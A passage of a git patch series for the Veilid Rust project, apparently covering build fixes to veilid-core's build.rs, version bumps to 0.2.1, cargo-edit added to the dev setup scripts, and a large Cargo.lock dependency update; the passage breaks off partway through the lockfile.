16 Sep 2023 12:23:56 -0400 Subject: [PATCH 27/47] build fixes --- veilid-cli/Cargo.toml | 2 +- veilid-core/Cargo.toml | 4 ++-- veilid-core/build.rs | 35 ++++++++++++++++++++++++++--------- veilid-wasm/Cargo.toml | 2 +- 4 files changed, 30 insertions(+), 13 deletions(-) diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index 11b6e51b..a3b39d02 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -54,7 +54,7 @@ flexi_logger = { version = "^0", features = ["use_chrono_for_offset"] } thiserror = "^1" crossbeam-channel = "^0" hex = "^0" -veilid-tools = { version = "0.2.0", path = "../veilid-tools" } +veilid-tools = { version = "0.2.1", path = "../veilid-tools" } json = "^0" stop-token = { version = "^0", default-features = false } diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index d1ff28cd..18492796 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -59,7 +59,7 @@ network-result-extra = ["veilid-tools/network-result-extra"] [dependencies] # Tools -veilid-tools = { version = "0.2.0", path = "../veilid-tools", features = [ +veilid-tools = { version = "0.2.1", path = "../veilid-tools", features = [ "tracing", ], default-features = false } paste = "1.0.14" @@ -182,7 +182,7 @@ socket2 = { version = "0.5.3", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] -veilid-tools = { version = "0.2.0", path = "../veilid-tools", default-features = false, features = [ +veilid-tools = { version = "0.2.1", path = "../veilid-tools", default-features = false, features = [ "rt-wasm-bindgen", ] } diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 5b8f7f8a..ff3592c6 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -1,15 +1,27 @@ use std::path::PathBuf; use std::process::{Command, Stdio}; -fn get_workspace_dir() -> PathBuf { - PathBuf::from(env!("CARGO_MANIFEST_DIR")) - .join("..") - .canonicalize() - .expect("want workspace dir") +fn search_file, P: AsRef>(start: T, name: P) -> Option { + let start_path = PathBuf::from(start.as_ref()).canonicalize().ok(); + let mut path = start_path.as_ref().map(|x| x.as_path()); + while let Some(some_path) = path { + let file_path = some_path.join(name.as_ref()); + if file_path.exists() { + return Some(file_path.to_owned()); + } + path = some_path.parent(); + } + None } + fn get_desired_capnp_version_string() -> String { - std::fs::read_to_string(get_workspace_dir().join(".capnp_version")) - .expect("should find .capnp_version file") + let capnp_path = search_file(env!("CARGO_MANIFEST_DIR"), ".capnp_version") + .expect("should find .capnp_version file"); + std::fs::read_to_string(&capnp_path) + .expect(&format!( + "can't read .capnp_version file here: {:?}", + capnp_path + )) .trim() .to_owned() } @@ -32,8 +44,13 @@ fn get_capnp_version_string() -> String { } fn get_desired_protoc_version_string() -> String { - std::fs::read_to_string(get_workspace_dir().join(".protoc_version")) - .expect("should find .protoc_version file") + let protoc_path = search_file(env!("CARGO_MANIFEST_DIR"), ".protoc_version") + .expect("should find .protoc_version file"); + std::fs::read_to_string(&protoc_path) + .expect(&format!( + "can't read .protoc_version file here: {:?}", + protoc_path + )) .trim() .to_owned() } diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 059cfd70..2abb4c45 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -15,7 +15,7 @@ default = ["veilid-core/default-wasm"] crypto-test = ["veilid-core/crypto-test"] [dependencies] -veilid-core = { version = "0.2.0", path = "../veilid-core", default-features = false } +veilid-core = { version = "0.2.1", path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-wasm = "^0" From 177bccbe120e3bafdef13ecc1412475c8d99afea Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 13:07:12 -0400 Subject: [PATCH 28/47] windows build fix --- veilid-core/build.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/veilid-core/build.rs b/veilid-core/build.rs index ff3592c6..97d82650 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -27,18 +27,18 @@ fn get_desired_capnp_version_string() -> String { } fn get_capnp_version_string() -> String { - let output = Command::new("capnpc") + let output = Command::new("capnp") .arg("--version") .stdout(Stdio::piped()) .output() - .expect("capnpc was not in the PATH"); + .expect("capnp was not in the PATH"); let s = String::from_utf8(output.stdout) - .expect("'capnpc --version' output was not a valid string") + .expect("'capnp --version' output was not a valid string") .trim() .to_owned(); if !s.starts_with("Cap'n Proto version ") { - panic!("invalid capnpc version string: {}", s); + panic!("invalid capnp version string: {}", s); } s[20..].to_owned() } From d877d82104a2b5aec1a14f84bb54ec3c0fbbbc6f Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 13:21:42 -0400 Subject: [PATCH 29/47] add cargo edit --- dev-setup/setup_linux.sh | 2 +- dev-setup/setup_macos.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dev-setup/setup_linux.sh b/dev-setup/setup_linux.sh index d5b21ace..019169de 100755 --- a/dev-setup/setup_linux.sh +++ b/dev-setup/setup_linux.sh @@ -114,7 +114,7 @@ fi rustup target add aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android wasm32-unknown-unknown # install cargo packages -cargo install wasm-bindgen-cli wasm-pack +cargo install wasm-bindgen-cli wasm-pack cargo-edit # install pip packages pip3 install --upgrade bumpversion diff --git a/dev-setup/setup_macos.sh b/dev-setup/setup_macos.sh index d9f40013..a0ea6c9d 100755 --- a/dev-setup/setup_macos.sh +++ b/dev-setup/setup_macos.sh @@ -139,7 +139,7 @@ esac rustup target add aarch64-apple-darwin aarch64-apple-ios aarch64-apple-ios-sim x86_64-apple-darwin x86_64-apple-ios wasm32-unknown-unknown aarch64-linux-android armv7-linux-androideabi i686-linux-android x86_64-linux-android # install cargo packages -cargo install wasm-bindgen-cli wasm-pack +cargo install wasm-bindgen-cli wasm-pack cargo-edit # install pip packages pip3 install --upgrade bumpversion From 7f3f7c91663c92ee9c015f295f6eb95e545280b0 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 13:52:32 -0400 Subject: [PATCH 30/47] clean up cargo.toml --- Cargo.lock | 254 ++++++++++++++++----------------- veilid-core/Cargo.toml | 10 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- 5 files changed, 131 insertions(+), 139 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 076c129f..4ad66551 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -73,9 +73,9 @@ dependencies = [ [[package]] name = "allo-isolate" -version = "0.1.18" +version = "0.1.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "71441b1911974f09ca413fc93fb2e3bfc60f4a284fdc7fd51e5a81b6afc61727" +checksum = "c258c1a017ecaccfb34c8fa46ecbb2f5402584e31082c12b5caf0be82ac5ac44" dependencies = [ "atomic", ] @@ -172,9 +172,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.2" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "15c4c2c83f81532e5845a733998b6971faca23490340a418e9b72a3ec9de12ea" +checksum = "b84bf0a05bbb2a83e5eb6fa36bb6e87baa08193c35ff52bbf6b38d8af2890e46" [[package]] name = "anstyle-parse" @@ -231,9 +231,9 @@ dependencies = [ [[package]] name = "argon2" -version = "0.5.1" +version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e554a8638bdc1e4eae9984845306cc95f8a9208ba8d49c3859fd958b46774d" +checksum = "17ba4cac0a46bc1d2912652a751c47f2a9f3a7fe89bcae2275d418f5270402f9" dependencies = [ "base64ct", "blake2", @@ -430,7 +430,7 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -461,7 +461,7 @@ checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -570,7 +570,7 @@ dependencies = [ "async-trait", "axum-core", "bitflags 1.3.2", - "bytes 1.4.0", + "bytes 1.5.0", "futures-util", "http", "http-body", @@ -596,7 +596,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" dependencies = [ "async-trait", - "bytes 1.4.0", + "bytes 1.5.0", "futures-util", "http", "http-body", @@ -635,9 +635,9 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" -version = "0.21.3" +version = "0.21.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "414dcefbc63d77c526a76b3afcf6fbb9b5e2791c19c3aa2297733208750c6e53" +checksum = "9ba43ea6f343b788c8764558649e08df62f86c6ef251fdaeb1ffd010a9ae50a2" [[package]] name = "base64ct" @@ -683,7 +683,7 @@ dependencies = [ "quote", "regex", "rustc-hash", - "shlex 1.1.0", + "shlex 1.2.0", "which", ] @@ -730,7 +730,7 @@ checksum = "e0b121a9fe0df916e362fb3271088d071159cdf11db0e4182d02152850756eff" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -799,15 +799,15 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.13.0" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e2c3daef883ecc1b5d58c15adae93470a91d425f3532ba1695849656af3fc1" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytemuck" -version = "1.13.1" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17febce684fd15d89027105661fec94afb475cb995fbc59d2865198446ba2eea" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" [[package]] name = "byteorder" @@ -823,9 +823,9 @@ checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" [[package]] name = "bytes" -version = "1.4.0" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" [[package]] name = "capnp" @@ -916,15 +916,14 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.28" +version = "0.4.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95ed24df0632f708f5f6d8082675bef2596f7084dee3dd55f632290bf35bfe0f" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" dependencies = [ "android-tzdata", "iana-time-zone", "js-sys", "num-traits", - "time 0.1.45", "wasm-bindgen", "windows-targets 0.48.5", ] @@ -977,9 +976,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.2" +version = "4.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a13b88d2c62ff462f88e4a121f17a82c1af05693a2f192b5c38d14de73c19f6" +checksum = "84ed82781cea27b43c9b106a979fe450a13a31aab0500595fb3fc06616de08e6" dependencies = [ "clap_builder", "clap_derive", @@ -1007,7 +1006,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1067,7 +1066,7 @@ version = "4.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "memchr", ] @@ -1320,7 +1319,7 @@ dependencies = [ "flexi_logger", "lazy_static", "log", - "time 0.3.28", + "time", "unicode-width", ] @@ -1365,9 +1364,9 @@ dependencies = [ "owning_ref", "serde_json", "serde_yaml", - "time 0.3.28", + "time", "tokio", - "toml 0.7.6", + "toml 0.7.8", "unicode-segmentation", "unicode-width", "xi-unicode", @@ -1384,9 +1383,9 @@ dependencies = [ [[package]] name = "curve25519-dalek" -version = "4.0.0" +version = "4.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f711ade317dd348950a9910f81c5947e3d8907ebd2b83f76203ff1807e6a2bc2" +checksum = "622178105f911d937a42cdb140730ba4a3ed2becd8ae6ce39c7d28b5d75d4588" dependencies = [ "cfg-if 1.0.0", "cpufeatures", @@ -1407,7 +1406,7 @@ checksum = "83fdaf97f4804dcebfa5862639bc9ce4121e82140bec2a987ac5140294865b5b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1463,7 +1462,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1485,7 +1484,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core 0.20.3", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1658,22 +1657,22 @@ dependencies = [ [[package]] name = "enum-map" -version = "2.6.1" +version = "2.6.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9705d8de4776df900a4a0b2384f8b0ab42f775e93b083b42f8ce71bdc32a47e3" +checksum = "c188012f8542dee7b3996e44dd89461d64aa471b0a7c71a1ae2f595d259e96e5" dependencies = [ "enum-map-derive", ] [[package]] name = "enum-map-derive" -version = "0.13.0" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccb14d927583dd5c2eac0f2cf264fc4762aefe1ae14c47a8a20fc1939d3a5fc0" +checksum = "04d0b288e3bb1d861c4403c1774a6f7a798781dfc519b3647df2a3dd4ae95f25" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1716,7 +1715,7 @@ dependencies = [ "darling 0.20.3", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -1843,9 +1842,9 @@ dependencies = [ [[package]] name = "fiat-crypto" -version = "0.1.20" +version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e825f6987101665dea6ec934c09ec6d721de7bc1bf92248e1d5810c8cd636b77" +checksum = "d0870c84016d4b481be5c9f323c24f65e31e901ae618f0e80f4308fb00de1d2d" [[package]] name = "fixedbitset" @@ -1878,7 +1877,7 @@ dependencies = [ "regex", "rustversion", "thiserror", - "time 0.3.28", + "time", ] [[package]] @@ -1935,7 +1934,7 @@ version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2eeb4ed9e12f43b7fa0baae3f9cdda28352770132ef2e09a23760c29cae8bd47" dependencies = [ - "rustix 0.38.11", + "rustix 0.38.13", "windows-sys 0.48.0", ] @@ -2010,7 +2009,7 @@ checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -2207,7 +2206,7 @@ version = "0.3.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "fnv", "futures-core", "futures-sink", @@ -2335,6 +2334,15 @@ dependencies = [ "digest 0.9.0", ] +[[package]] +name = "home" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +dependencies = [ + "windows-sys 0.48.0", +] + [[package]] name = "hostname" version = "0.3.1" @@ -2352,7 +2360,7 @@ version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "fnv", "itoa", ] @@ -2363,7 +2371,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "http", "pin-project-lite", ] @@ -2392,7 +2400,7 @@ version = "0.14.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "futures-channel", "futures-core", "futures-util", @@ -2573,7 +2581,7 @@ version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b58db92f96b720de98181bbbe63c831e87005ab460c1bf306eb2622b4707997f" dependencies = [ - "socket2 0.5.3", + "socket2 0.5.4", "widestring", "windows-sys 0.48.0", "winreg", @@ -2754,9 +2762,9 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] name = "libc" -version = "0.2.147" +version = "0.2.148" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" [[package]] name = "libloading" @@ -2805,9 +2813,9 @@ checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" [[package]] name = "linux-raw-sys" -version = "0.4.5" +version = "0.4.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503" +checksum = "1a9bad9f94746442c783ca431b22403b519cd7fbeed0533fdd6328b2f2212128" [[package]] name = "lock_api" @@ -3079,7 +3087,7 @@ version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "842c6770fc4bb33dd902f41829c61ef872b8e38de1405aa0b938b27b8fba12c3" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "futures", "log", "netlink-packet-core", @@ -3095,7 +3103,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6471bf08e7ac0135876a9581bf3217ef0333c191c128d34878079f42ee150411" dependencies = [ "async-io", - "bytes 1.4.0", + "bytes 1.5.0", "futures", "libc", "log", @@ -3642,7 +3650,7 @@ dependencies = [ "pest_meta", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -3713,7 +3721,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -3827,9 +3835,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.66" +version = "1.0.67" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" +checksum = "3d433d9f1a3e8c1263d9456598b16fec66f4acc9a74dacffd35c7bb09b3a1328" dependencies = [ "unicode-ident", ] @@ -3840,7 +3848,7 @@ version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b82eaa1d779e9a4bc1c3217db8ffbeabaae1dca241bf70183242128d48681cd" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "prost-derive", ] @@ -3850,7 +3858,7 @@ version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "119533552c9a7ffacc21e099c24a0ac8bb19c2a2a3f363de84cd9b844feab270" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "heck", "itertools", "lazy_static", @@ -4199,14 +4207,14 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.11" +version = "0.38.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0c3dde1fc030af041adc40e79c0e7fbcf431dd24870053d187d7c66e4b87453" +checksum = "d7db8590df6dfcd144d22afd1b83b36c21a18d7cbc1dc4bb5295a8712e9eb662" dependencies = [ "bitflags 2.4.0", "errno", "libc", - "linux-raw-sys 0.4.5", + "linux-raw-sys 0.4.7", "windows-sys 0.48.0", ] @@ -4228,7 +4236,7 @@ version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" dependencies = [ - "base64 0.21.3", + "base64 0.21.4", ] [[package]] @@ -4409,7 +4417,7 @@ checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4431,14 +4439,14 @@ checksum = "e578a843d40b4189a4d66bba51d7684f57da5bd7c304c64e14bd63efbef49509" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] name = "serde_json" -version = "1.0.105" +version = "1.0.107" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "693151e1ac27563d6dbcec9dee9fbd5da8539b20fa14ad3752b2e6d363ace360" +checksum = "6b420ce6e3d8bd882e9b243c6eed35dbc9a6110c9769e74b584e0d68d1f20c65" dependencies = [ "itoa", "ryu", @@ -4453,7 +4461,7 @@ checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4525,7 +4533,7 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4599,9 +4607,9 @@ checksum = "7fdf1b9db47230893d76faad238fd6097fd6d6a9245cd7a4d90dbd639536bbd2" [[package]] name = "shlex" -version = "1.1.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43b2853a4d09f215c24cc5489c992ce46052d359b5109343cbafbf26bc62f8a3" +checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" [[package]] name = "signal-hook" @@ -4668,7 +4676,7 @@ checksum = "acee08041c5de3d5048c8b3f6f13fafb3026b24ba43c6a695a0c76179b844369" dependencies = [ "log", "termcolor", - "time 0.3.28", + "time", ] [[package]] @@ -4708,9 +4716,9 @@ dependencies = [ [[package]] name = "socket2" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "4031e820eb552adee9295814c0ced9e5cf38ddf1e8b7d566d6de8e2538ea989e" dependencies = [ "libc", "windows-sys 0.48.0", @@ -4802,9 +4810,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.31" +version = "2.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "718fa2415bcb8d8bd775917a1bf12a7931b6dfa890753378538118181e0cb398" +checksum = "59bf04c28bee9043ed9ea1e41afc0552288d3aba9c6efdd78903b802926f4879" dependencies = [ "proc-macro2", "quote", @@ -4840,7 +4848,7 @@ dependencies = [ "cfg-if 1.0.0", "fastrand 2.0.0", "redox_syscall 0.3.5", - "rustix 0.38.11", + "rustix 0.38.13", "windows-sys 0.48.0", ] @@ -4889,7 +4897,7 @@ checksum = "49922ecae66cc8a249b77e68d1d0623c1b2c514f0060c27cdc68bd62a1219d35" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -4913,17 +4921,6 @@ dependencies = [ "weezl", ] -[[package]] -name = "time" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" -dependencies = [ - "libc", - "wasi 0.10.0+wasi-snapshot-preview1", - "winapi", -] - [[package]] name = "time" version = "0.3.28" @@ -4976,14 +4973,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" dependencies = [ "backtrace", - "bytes 1.4.0", + "bytes 1.5.0", "libc", "mio", "num_cpus", "parking_lot 0.12.1", "pin-project-lite", "signal-hook-registry", - "socket2 0.5.3", + "socket2 0.5.4", "tokio-macros", "tracing", "windows-sys 0.48.0", @@ -5007,7 +5004,7 @@ checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -5027,7 +5024,7 @@ version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" dependencies = [ - "bytes 1.4.0", + "bytes 1.5.0", "futures-core", "futures-io", "futures-sink", @@ -5047,9 +5044,9 @@ dependencies = [ [[package]] name = "toml" -version = "0.7.6" +version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c17e963a819c331dcacd7ab957d80bc2b9a9c1e71c804826d2f283dd65306542" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" dependencies = [ "serde", "serde_spanned", @@ -5068,9 +5065,9 @@ dependencies = [ [[package]] name = "toml_edit" -version = "0.19.14" +version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8123f27e969974a3dfba720fdb560be359f57b44302d280ba72e76a74480e8a" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ "indexmap 2.0.0", "serde", @@ -5089,7 +5086,7 @@ dependencies = [ "async-trait", "axum", "base64 0.13.1", - "bytes 1.4.0", + "bytes 1.5.0", "futures-core", "futures-util", "h2", @@ -5119,8 +5116,8 @@ checksum = "3082666a3a6433f7f511c7192923fa1fe07c69332d3c6a2e6bb040b569199d5a" dependencies = [ "async-trait", "axum", - "base64 0.21.3", - "bytes 1.4.0", + "base64 0.21.4", + "bytes 1.5.0", "futures-core", "futures-util", "h2", @@ -5204,7 +5201,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09d48f71a791638519505cefafe162606f706c25592e4bde4d97600c0195312e" dependencies = [ "crossbeam-channel", - "time 0.3.28", + "time", "tracing-subscriber", ] @@ -5216,7 +5213,7 @@ checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -5414,7 +5411,7 @@ dependencies = [ "proc-macro2", "quote", "serde_derive_internals 0.28.0", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] @@ -5443,7 +5440,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e862a1c4128df0112ab625f55cd5c934bcb4312ba80b39ae4b4835a3fd58e649" dependencies = [ "byteorder", - "bytes 1.4.0", + "bytes 1.5.0", "data-encoding", "http", "httparse", @@ -5457,9 +5454,9 @@ dependencies = [ [[package]] name = "typenum" -version = "1.16.0" +version = "1.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] name = "ucd-trie" @@ -5475,9 +5472,9 @@ checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" [[package]] name = "unicode-ident" -version = "1.0.11" +version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-normalization" @@ -5589,7 +5586,7 @@ dependencies = [ "async-std", "async-tungstenite 0.8.0", "cfg-if 1.0.0", - "clap 4.4.2", + "clap 4.4.3", "config", "crossbeam-channel", "cursive", @@ -5689,7 +5686,7 @@ dependencies = [ "serial_test 2.0.0", "shell-words", "simplelog", - "socket2 0.5.3", + "socket2 0.5.4", "static_assertions", "stop-token", "thiserror", @@ -5784,7 +5781,7 @@ dependencies = [ "async-tungstenite 0.23.0", "backtrace", "cfg-if 1.0.0", - "clap 4.4.2", + "clap 4.4.3", "color-eyre", "config", "console-subscriber", @@ -5924,9 +5921,9 @@ checksum = "9d5b2c62b4012a3e1eca5a7e077d13b3bf498c4073e33ccd58626607748ceeca" [[package]] name = "walkdir" -version = "2.3.3" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" dependencies = [ "same-file", "winapi-util", @@ -5947,12 +5944,6 @@ version = "0.9.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" -[[package]] -name = "wasi" -version = "0.10.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" 